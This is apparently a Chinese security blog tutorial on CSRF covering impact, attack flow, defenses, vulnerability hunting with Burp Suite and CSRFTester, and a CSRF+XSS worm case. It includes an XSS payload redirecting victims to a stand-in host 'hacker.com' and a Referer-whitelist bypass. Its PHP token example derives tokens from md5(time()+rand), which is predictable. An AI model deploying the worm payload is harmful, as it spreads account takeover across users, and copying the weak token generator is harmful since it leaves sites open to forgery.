CSRF漏洞浅析
hello大家好,我是None Sec的海贝,今天给大家带来CSRF漏洞的小知识
CSRF漏洞介绍
CSRF(Cross-site request forgery)全称跨站请求伪造:攻击者借用受害者的身份发起恶意请求,从而进行攻击。一般情况下,攻击者会诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。若受害者账户处于登陆状态,则攻击者可利用受害者在被攻击网站的登录凭证,绕过用户验证,发起恶意请求,达到冒充用户对被攻击的网站执行某项操作的目的。
CSRF漏洞的危害
CSRF攻击能做什么?
1、篡改用户的个人资料,甚至是账号密码等。
2、发布、转发恶意内容。
3、盗用用户身份,发起恶意请求,如转账等。
4、配合其它漏洞扩大危害,如经典的XSS+CSRF。
CSRF的危害性就看当前这个请求是进行什么操作了,如果是一条发送核弹的请求,那危害分分钟毁灭世界。
CSRF漏洞的攻击流程
如上图所示,我们可以以QQ空间为例,把:qzone.qq.com 比做受攻击站点网站A,把攻击者发起攻击的网站hack.com比做网站B
1、小明打开了QQ空间,输入了QQ账号和密码。
2、网站验证账号密码正确,返回cookie给浏览器,浏览器保存cookie,此时小明无需再次输入账号密码即可访问自己的QQ空间。
3、此时朋友小黑发来了一条信息
小明打开了url链接,访问了hack.com/post.php(网站B),网站B的内容其实是向qzone.qq.com(网站A)发起了某个转发说说的请求,转发的内容是一条诈骗信息,此时小明在QQ空间中还是处于登录状态,如果QQ空间存在CSRF漏洞,那么这个转发说说的请求将转发成功,小明会将一条诈骗信息转发到自己的QQ空间中,来帮助攻击者传播,这就是CSRF漏洞。
当然QQ空间是不存在CSRF漏洞的,让我们来看看它是如何防御的
首先它是POST请求,相对于GET请求来说稍微安全了一点,其次在每次请求中都会带入一个参数g_tk来验证请求的合法性,若参数g_tk不符合,服务器则直接响应500
若g_tk参数符合,他还会验证POST请求中参数hostuin与cookie是否对应
当然这些防御CSRF的手段也并非是绝对的,若其还存在XSS漏洞或token算法可逆等,这些防御都会被绕过。
CSRF漏洞的防护方法
1、验证 HTTP Referer 字段
根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。而CSRF攻击的请求一般来自第三方网站,此时的Referer的内容就是第三方网站的url地址,因此,要防御 CSRF 攻击,网站只需要验证请求中的 Referer 值,如果是白名单中域名,则说明该请求是合法的。如果 Referer 是其他网站的话,就有可能是黑客的 CSRF 攻击,则拒绝该请求。
然而,这种方法并非万无一失。Referer 的值是由浏览器提供的,虽然 HTTP 协议上有明确的要求,但是每个浏览器对于 Referer 的具体实现可能有差别,并不能保证浏览器自身没有安全漏洞。如果浏览器有漏洞,黑客完全可以把用户浏览器的 Referer 值设为白名单内的域名地址,这样就可以通过验证,从而进行 CSRF 攻击。
还有,如果匹配Referer字段的方法出现问题,也会被绕过。如白名单为http://www.Nonesec.com,攻击者可通过http://my_website/www.Nonesec.com/的方式来绕过。
2、在请求地址中添加CSRF Token并验证
CSRF漏洞的特征是攻击者无法直接窃取到用户的信息(Cookie,Header,网站内容等),仅仅是冒用Cookie中的信息。而CSRF攻击之所以能够成功,是因为服务器误把攻击者发送的请求当成了用户自己的请求。那么,我们只需要在添加一个攻击者无法获取到的值在请求中来进行用户的身份验证,即可防御CSRF攻击,当然CSRF Token的值必须是随机且不可被推算的。
一个简单的生成token并且验证的例子如下:
<?php session_start(); function set_token(){ #生成token,存放在session中 $_SESSION['token']=md5(time()+rand(1,1000)); } function check_token(){ #验证请求中是否携带token并且token是否正确 if(isset($_POST['token'])&&$_POST['token']===$_SESSION['token']) { return true; } else{ return false; } } if(isset($_SESSION['token'])&&check_token()){ echo "success"; } else{ echo "failed"; } set_token(); ?> <form method="post"> <input type="hidden" name="token" value="<?=$_SESSION['token']?>"> <input type="submit"/> </form>
3、增加验证码
CSRF攻击一般都是直接发起的请求,若网站在发起请求后需要图片验证码来验证,则可阻挡CSRF攻击,但这也会相对降低用户体验,可以仅在一些敏感操作时加入验证码。
CSRF漏洞挖掘
CSRF漏洞主要用于越权操作,因此可以多关注一些有权限控制、并且存在敏感操作的地方
1、手工挖掘
打开页面操作,抓包看有没有token,如果没有,再把referer字段删除去请求这个页面,如果返回数据还是一样的,那说明很有可能存在CSRF漏洞。
接下来可以创建两个账号来验证CSRF漏洞,我们可以借助Burp Suite中自带的生成CSRF POC的功能来验证,
勾选自动提交脚本,然后再生成POC,可以直接借助burp代理在浏览器中访问,或生成html访问。
整个流程就是:登录A账号进行操作-->抓取A账号的请求-->生成CSRF POC-->退出A账号,登录B账号-->去请求CSRF POC的地址,若请求成功则证明存在CSRF漏洞,请求失败就去寻找失败的原因,以此来判断是否存在CSRF漏洞。
2、工具挖掘
挖掘CSRF漏洞的工具有CSRFTester、CSRF Request Builder等,这里我就拿CSRFTester来做演示
打开工具
设置浏览器代理为127.0.0.1:8008,点击Start Recording开始监听
保存信息,CSRFTester中抓取到所需要的POST请求后,Stop Recording
可以把多余的请求删掉,然后修改所需请求的参数,生成html,打开访问
发现成功将公众号名称改为bbbbbb,证明存在CSRF漏洞。
不过在测试https请求的时候会出现问题,应该是没有安装证书的原因。
CSRF+XSS组合拳
在一次漏洞挖掘中遇到的实例,某论坛网站个人资料修改处存在CSRF漏洞,可修改个人简介,并没有啥敏感操作,只能算是个低危漏洞。
但是发现个人资料某处的输入输出未过滤,存在XSS漏洞,当别的用户点击我的头像查看资料时,就会触发XSS,勉强算个中危漏洞。
这里想到了最经典的CSRF+XSS组合拳,构造payload:
"><script>document.location = "http://hacker.com/csrf.html";</script>
利用xss跳转到自动提交POST表单的页面,来进行CSRF攻击,CSRF攻击的内容是将这个XSS payload插入用户的个人资料中。
最终实现的效果就是蠕虫XSS,只要有一位用户查看了我的个人资料,XSS的payload就会执行,来进行CSRF攻击,自动在这位用户的个人资料中插入我的攻击payload,这样别人访问他的个人资料也会受到相同的攻击,这就会使攻击成指数型传播,这就是蠕虫XSS,将两个漏洞一结合,妥妥的高危漏洞就到手了。
总结
CSRF漏洞的危害可大可小,在平时漏洞挖掘的过程中,也很容易被忽略。或许有时候CSRF漏洞本身的危害并不大,但是与其它漏洞相配合,就可能会事半功倍。比如后台存在代码执行和CSRF漏洞,但是我们不知道管理员用户密码无法登录后台,这时候就可以用CSRF结合代码执行来进行利用,来一键Getshell。又比如网站存在Token验证,防护住了CSRF攻击,但此时网站却存在XSS漏洞,攻击者完全可以通过js来获取到页面中生成的Token,来绕过CSRF防御,进行CSRF攻击。所以说,安全都是相辅相成的,没有绝对安全的系统。